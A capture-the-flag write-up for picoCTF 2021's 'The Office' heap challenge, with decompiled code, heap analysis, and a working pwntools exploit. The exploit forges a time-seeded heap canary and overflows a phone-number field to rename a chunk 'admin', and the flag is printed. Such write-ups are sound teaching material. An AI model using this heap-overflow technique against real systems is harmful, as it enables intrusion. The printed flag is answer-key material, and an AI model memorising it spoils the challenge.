Rating:
# picoCTF 2021: The Office
__Points: 400
Category: Binary Exploitation__
> I'm tired of having to secure my data on the heap, so I decided to implement my own version of malloc with canaries. It's 10x more secure and only 100x slower!
An important function to look at is the function that gets called when you use option 1 (add employee) from the main menu. It's easy to find this function in Ghidra if you look for the string "Name: " in the file (the first thing the function prints) and then use "Show References to Address" to find out where it's used, which leads you to this function:
```c
char * FUN_080488c9(void)
{
int iVar1;
undefined4 uVar2;
int in_GS_OFFSET;
char local_9d;
char *local_9c;
size_t local_98;
int local_94;
char local_90 [128];
int local_10;
local_10 = *(int *)(in_GS_OFFSET + 0x14);
local_9c = (char *)FUN_080494be(0x28);
if (local_9c == (char *)0x0) {
puts("Ran out of memory!");
/* WARNING: Subroutine does not return */
exit(-1);
}
local_9d = '\0';
local_98 = 0;
printf("Name: ");
iVar1 = __isoc99_scanf("%15s",local_9c);
if (iVar1 != 1) {
/* WARNING: Subroutine does not return */
exit(-1);
}
do {
local_94 = getchar();
if (local_94 == 10) break;
} while (local_94 != -1);
iVar1 = strncmp(local_9c,"admin",6);
if (iVar1 == 0) {
puts("Cannot be admin!");
/* WARNING: Subroutine does not return */
exit(-1);
}
printf("Email (y/n)? ");
iVar1 = __isoc99_scanf("%c",&local_9d);
if (iVar1 != 1) {
/* WARNING: Subroutine does not return */
exit(-1);
}
do {
local_94 = getchar();
if (local_94 == 10) break;
} while (local_94 != -1);
if ((local_9d == 'n') || (local_9d == 'N')) {
*(undefined4 *)(local_9c + 0x10) = 0;
}
else {
printf("Email address: ");
iVar1 = __isoc99_scanf("%127s",local_90);
if (iVar1 != 1) {
/* WARNING: Subroutine does not return */
exit(-1);
}
do {
local_94 = getchar();
if (local_94 == 10) break;
} while (local_94 != -1);
local_98 = strnlen(local_90,0x7f);
uVar2 = FUN_080494be(local_98 + 1);
*(undefined4 *)(local_9c + 0x10) = uVar2;
if (*(int *)(local_9c + 0x10) == 0) {
puts("Ran out of memory!");
/* WARNING: Subroutine does not return */
exit(-1);
}
strncpy(*(char **)(local_9c + 0x10),local_90,local_98);
*(undefined *)(local_98 + *(int *)(local_9c + 0x10)) = 0;
}
printf("Salary: ");
iVar1 = __isoc99_scanf("%u",local_9c + 0x14);
if (iVar1 != 1) {
/* WARNING: Subroutine does not return */
exit(-1);
}
do {
local_94 = getchar();
if (local_94 == 10) break;
} while (local_94 != -1);
printf("Phone #: ");
iVar1 = __isoc99_scanf("%s",local_9c + 0x18);
if (iVar1 != 1) {
/* WARNING: Subroutine does not return */
exit(-1);
}
do {
local_94 = getchar();
if (local_94 == 10) break;
} while (local_94 != -1);
printf("Bldg (y/n)? ");
iVar1 = __isoc99_scanf("%c",&local_9d);
if (iVar1 != 1) {
/* WARNING: Subroutine does not return */
exit(-1);
}
do {
local_94 = getchar();
if (local_94 == 10) break;
} while (local_94 != -1);
if ((local_9d != 'n') && (local_9d != 'N')) {
printf("Bldg #: ");
iVar1 = __isoc99_scanf("%u",local_9c + 0x24);
if (iVar1 != 1) {
/* WARNING: Subroutine does not return */
exit(-1);
}
do {
local_94 = getchar();
if (local_94 == 10) break;
} while (local_94 != -1);
}
putchar(10);
if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {
local_9c = (char *)FUN_08049bd0();
}
return local_9c;
}
```
Based on the fact that `FUN_080494be` is being run and then it has "Ran out of memory!" after it I'd say it has something to do with memory allocation.
```c
int FUN_080494be(uint param_1)
{
uint uVar1;
char cVar2;
uint uVar3;
cVar2 = FUN_0804981c(0);
if (cVar2 != '\x01') {
puts("*** heap smashing detected ***");
/* WARNING: Subroutine does not return */
exit(-1);
}
if ((DAT_0804c070 == 0) && (cVar2 = FUN_08049240(), cVar2 != '\x01')) {
return 0;
}
if (param_1 + DAT_0804c060 < 0xff0) {
do {
cVar2 = FUN_08049119(DAT_0804c070);
if ((cVar2 == '\0') &&
(uVar3 = FUN_080490f4(DAT_0804c070), uVar1 = DAT_0804c070, param_1 <= uVar3)) {
DAT_0804c070 = DAT_0804c074;
FUN_08049325(uVar1,param_1);
cVar2 = FUN_0804981c(0);
if (cVar2 != '\x01') {
puts("*** heap smashing detected ***");
/* WARNING: Subroutine does not return */
exit(-1);
}
return uVar1 + 0xc;
}
DAT_0804c070 = FUN_08049192(DAT_0804c070);
} while (DAT_0804c070 < DAT_0804c078);
DAT_0804c070 = DAT_0804c074;
}
return 0;
}
```
If you look at this function closely it seems that `FUN_0804981c` is repeatedly used to verify the integrity of a heap. Indeed, it is the "heapcheck" function mentioned by the hint. I won't try to describe its logic but if you make its argument nonzero it will print debugging info about the heap to standard output. You can experiment with the heap if you just change the argument of the heapcheck function to 1 every time it's called. An easy way to do that in GDB is to set a breakpoint at `0x8049833` and have AL set to 1 whenever that breakpoint is hit:
```
b *0x8049833
commands
set $al = 1
end
```
Here's an example output from heapcheck:
```
Canary: 244975482
Heap bottom: 0xf7fce000
Address: 0xf7fce000 (0xf7fce00c) Size: 52 Allocated: 1 Prev_size: 0 Prev_allocated: 1
Address: 0xf7fce040 (0xf7fce04c) Size: 20 Allocated: 1 Prev_size: 52 Prev_allocated: 1
Address: 0xf7fce060 (0xf7fce06c) Size: 3988 Allocated: 0 Prev_size: 20 Prev_allocated: 1
Heap top: 0xf7fcf000
```
Overall you can deduce the structure of the heap by viewing the heap in GDB (by looking at the "Heap bottom" address) in combination with the heapcheck function.
```
(gdb) x/128bx 0xf7fce000
0xf7fce000: 0x7a 0x07 0x9a 0x0e 0x35 0x00 0x00 0x00
0xf7fce008: 0x01 0x00 0x00 0x00 0x4a 0x61 0x6e 0x00
0xf7fce010: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xf7fce018: 0x00 0x00 0x00 0x00 0x4c 0xe0 0xfc 0xf7
0xf7fce020: 0x22 0xc8 0x00 0x00 0x34 0x31 0x35 0x34
0xf7fce028: 0x38 0x34 0x36 0x37 0x31 0x38 0x00 0x00
0xf7fce030: 0x7b 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xf7fce038: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xf7fce040: 0x7a 0x07 0x9a 0x0e 0x15 0x00 0x00 0x00
0xf7fce048: 0x35 0x00 0x00 0x00 0x6a 0x6b 0x6f 0x77
0xf7fce050: 0x61 0x6c 0x73 0x6b 0x69 0x40 0x67 0x6d
0xf7fce058: 0x61 0x69 0x6c 0x2e 0x63 0x6f 0x6d 0x00
0xf7fce060: 0x7a 0x07 0x9a 0x0e 0x94 0x0f 0x00 0x00
0xf7fce068: 0x15 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xf7fce070: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xf7fce078: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
```
This is the employee we created:
```
Employee 0:
Name: Jan
Email: [email protected]
Salary: 51234
Bldg #: 123
Phone #: 4154846718
```
Based on the info we gathered so far and some trivial amount of extra experimentation we can infer the following:
* Every employee created allocates a new chunk of Size 52 at the bottommost free location in the heap, if an email was created too then also a second chunk of Size 20 (or more, if the email is too long, actually)
* Deleting an employee deletes them from an internally kept list of employees and deallocates their chunk(s)
* The large, unallocated chunk at the top of the heap grows and shrinks to accommodate added and removed employees
* The heap likes to fall apart when we delete chunks from the middle of the heap without immediately adding them back
* The actual size of each chunk is actually 12 bytes more than the "Size" listed by heapcheck; the extra 12 bytes are a header at the beginning of each chunk
* The first 4 bytes (little-endian 32-bit unsigned integer) are the "Canary" as given by heapcheck (it's the same value for every chunk, but it changes every time the program is restarted and if even one chunk's Canary, even that of the unallocated top chunk or any other unallocated chunks, doesn't match the value heapcheck has stored internally, it will explode in a little ball of flame)
* The next 4 bytes are the "Size" (always an even number) plus 1 iff "Allocated"
* The last 4 bytes are the "Prev_size" (always an even number) plus 1 iff "Prev_allocated"
* Prev_size must match the Size of the previous chunk and Prev_allocated must match the Allocated of the previous chunk, or else heapcheck will throw a tantrum and say you did heap smashing
* The heap is 4096 bytes; at any given time chunks (including unallocated ones) occupy the entire heap, so if the sum of the "Size" fields of each chunk plus 12 times the number of chunks is not 4096, heapcheck will say you did heap smashing
* Even the large unallocated chunk at the top of the heap has a header, so its actual size is also 12 more than its "Size"
* The body (bytes that come after the header) of an email chunk are just the email as a null-terminated string
* For non-email chunks the body has a different structure:
* The first 20 bytes are the name as a null-terminated string
* The next 4 bytes are salary as a little-endian 32-bit unsigned integer
* The next 12 bytes are the phone number as a null-terminated string
* The next 4 bytes are the building number as a little-endian 32-bit unsigned integer
* The last 12 bytes are unused
Looking back at `FUN_080488c9` (which asks you for employee info of the new employee to create), you can see the goal is to somehow create an employee with name "admin" despite not being permitted to. You may also notice that the call to scanf that reads the phone number you enter for the employee reads way too many characters thus creating an overflow vulnerability. The way to create an "admin" employee is described below.
First we gotta add 2 arbitrarily-named employees (Paula and Russel) with no emails. The diagram below represents the locations of their chunks in the heap, where each letter is 4 bytes, and the 16 P's are the 64 bytes (12-byte header + 52-byte body) of Paula's chunk and the 16 R's are the 64 bytes of Russel's chunk. Capital letters represent the 20 bytes in each chunk that hold the name.
```
pppPPPPPpppppppprrrRRRRRrrrrrrrr
```
Next, we remove Paula.
```
................rrrRRRRRrrrrrrrr
```
Now, we have to add another employee (Noodle) with no email, whose chunk will automatically be put into the empty 64 bytes at the bottom of the heap. We use the phone number overflow vulnerability by giving Noodle a phone number long enough to overwrite the name part of the header or Russel's chunk to change it to "admin".
```
nnnNNNNNnnnn#########RRRrrrrrrrr
```
Here of course the # symbols represent the phone number. Of course overwriting the name also results in overwriting the entirety of the header of Russel's chunk, which we don't want to change. The first 4 bytes of the header are the canary value. The next 4 bytes are the little-endian 32-bit integer 53 since Russel's chunk has size 52 and is allocated. The last 4 bytes of the header are also the little-endian 32-bit integer 53 since the previous chunk (Noodle's chunk) has size 52 and is allocated.
Then, we just have to get the employee access token for employee 1 (Russel) and the flag will be printed because Russel's name is now admin.
The logic for the Canary is in `FUN_08049240` (you'll see where that's called if you search for it in this document):
```c
undefined4 FUN_08049240(void)
{
undefined4 uVar1;
uint __seed;
if (DAT_0804c070 == (void *)0x0) {
DAT_0804c074 = mmap((void *)0x0,0x1000,3,0x22,-1,0);
if ((DAT_0804c074 == (void *)0xffffffff) || (DAT_0804c074 == (void *)0x0)) {
puts("Memory Error :(");
uVar1 = 0;
}
else {
__seed = time((time_t *)0x0);
srand(__seed);
DAT_0804c06c = rand();
DAT_0804c078 = (int)DAT_0804c074 + 0x1000;
DAT_0804c070 = DAT_0804c074;
FUN_080491f0(DAT_0804c074,0x1000 - DAT_0804c060,0,0,1);
uVar1 = 1;
}
}
else {
uVar1 = 1;
}
return uVar1;
}
```
If it's the first time this function is called it'll generate the canary by running srand with the current timestamp as the seed and then take the first value that comes out of rand as the canary. We know that this function is called when chunks are allocated, so this'll be run for the first time when we choose to add an employee for the first time. We just have to sync the server's system clock to your own local system clock.
Here's the solution written as Python code (you'll still need to run it on a Linux system, preferably Ubuntu):
```python
PORT = 39151 # change this
CLOCK_OFFSET = 1 # how many seconds your clock is behind the server's by
from pwn import *
from ctypes import CDLL
libc = CDLL('libc.so.6')
r = remote('mercury.picoctf.net', PORT)
libc.srand(libc.time(None) + CLOCK_OFFSET) # srand(time(NULL))
canary = libc.rand() # rand()
# add Paula and Russel
r.send('1\nPaula\nn\n0\nA\nn\n')
r.send('1\nRussel\nn\n0\nA\nn\n')
r.send('3\n') # show the employees (optional)
# remove Paula
r.send('2\n0\n')
# add Noodle
r.send(
b'1\nNoodle\nn\n0\n' +
b'A'*28 + p32(canary) + p32(53) + p32(53) + b'admin' +
b'\nn\n')
r.send(b'3\n') # show the employees (optional)
# print flag
r.send('4\n1\n')
print(r.readall().decode('utf-8', errors='ignore'))
```
```
[+] Opening connection to mercury.picoctf.net on port 39151: Done
[+] Receiving all data: Done (1.05KB)
[*] Closed connection to mercury.picoctf.net port 39151
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
Name: Email (y/n)? Salary: Phone #: Bldg (y/n)?
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
Name: Email (y/n)? Salary: Phone #: Bldg (y/n)?
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
Employee 0:
Name: Paula
Email:
Salary: 0
Bldg #: 0
Phone #: A
Employee 1:
Name: Russel
Email:
Salary: 0
Bldg #: 0
Phone #: A
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
Employee #?
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
Name: Email (y/n)? Salary: Phone #: Bldg (y/n)?
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
Employee 0:
Name: Noodle
Email:
Salary: 0
Bldg #: 1094795585
Phone #: AAAAAAAAAAAAAAAAAAAAAAAAAAAAr\x05
Employee 1:
Name: admin
Email:
Salary: 0
Bldg #: 0
Phone #: A
0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
Employee #?
picoCTF{6bdc3738d4de9fe44961796bce70f23c}
```
__Flag: `picoCTF{6bdc3738d4de9fe44961796bce70f23c}`__